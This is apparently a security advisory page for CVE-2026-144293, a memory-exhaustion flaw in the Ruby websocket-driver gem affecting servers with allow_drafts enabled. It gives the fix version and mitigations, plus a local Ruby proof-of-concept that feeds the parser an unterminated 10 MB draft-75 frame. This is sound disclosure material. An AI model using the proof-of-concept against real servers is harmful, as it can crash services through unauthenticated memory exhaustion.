NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
💎
💎 RubyGems
Not in CISA KEV
HIGH severity

CVE-2026-144293 — websocket-driver

HIGHFix: faye/websocket-driver-ruby@5a0bd6f

CVE-2026-144293 is a high-severity (CVSS 7.5) CWE-770 vulnerability in websocket-driver. A fix is available for websocket-driver — see the affected versions and patch details below.

websocket-driver: Excessive memory use caused by draft-75/76 buffering

Also known asGHSA-q3c8-h5pg-2836
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Dec 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs56th percentile — riskier than 56% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
💎websocket-driver

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A server running websocket-driver can be made to buffer data in excess of max_length and potentially run out of memory by a client sending a non-terminated stream of message data.

Details

When configured using allow_drafts: true, the websocket-driver library continues to support legacy draft versions of the WebSocket protocol. These use delimited rather than length-prefixed frames; a frame is initiated by sending 00 and ended by sending FF. If a client sends 00 and then sends a long series of bytes, the server will buffer this data in excess of max_length, potentially causing it to run out of memory if the message is continued indefinitely.

This has been mitigated by properly enforcing the max_length limit at the point where the data is buffered. It can also be prevented by not setting the allow_drafts option.

Proof of concept

This script demonstrates how much data is buffered by a draft-75 parser on receipt of a very long unterminated message:

require 'bundler/setup'
require 'websocket/driver'

class Sock
  def write(_) ; end
end

d = WebSocket::Driver.server(Sock.new, :allow_drafts => true, :max_length => 1024)
d.on(:connect) { d.start }

# draft-75 handshake: NO Sec-WebSocket-Key/Version/Key1/Key2 -> Draft75 selected
d.parse(
  "GET / HTTP/1.1\r\n" +
  "Host: localhost\r\n" +
  "Upgrade: websocket\r\n" +
  "Connection: Upgrade\r\n" +
  "Origin: http://localhost\r\n" +
  "\r\n")

# One text frame: 0x00, then 10 MB of 0x41, NO terminating 0xFF, in one chunk.
N = 10 << 20
chunk = "\x00" + ("\x41" * (N + 1))
d.parse(chunk)

p d.instance_variable_get(:@delegate)
    .instance_variable_get(:@reader)
    .instance_variable_get(:@buffer).bytesize

p d.instance_variable_get(:@delegate)
    .instance_variable_get(:@buffer).size

On vulnerable versions this will print numbers far in excess of the configured max_length.

Impact

A server with allow_drafts enabled can be made to run out of memory and crash by an unauthenticated remote client sending a non-terminating stream of message data.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💎RubyGemswebsocket-driverall versions0.9.2bundle update websocket-driver --conservative

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for websocket-driver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update websocket-driver to 0.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-144293 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary A server running `websocket-driver` can be made to buffer data in excess of `max_length` and potentially run out of memory by a client sending a non-terminated stream of message data. ### Details When configured using `allow_drafts: true`, the `websocket-driver` library continues to support legacy draft versions of the WebSocket protocol. These use delimited rather than length-prefixed frames; a frame is initiated by sending `00` and ended by sending `FF`. If a client sends `00` and then sends a long series of bytes, the server will buffer this data in excess of `max_length`, po
O3 Security · Impact-Aware SCA

Is CVE-2026-144293 in your dependencies?

Find it across RubyGems, including transitive dependencies.

CVE-2026-144293: websocket-driver — Fixed in 0.9.2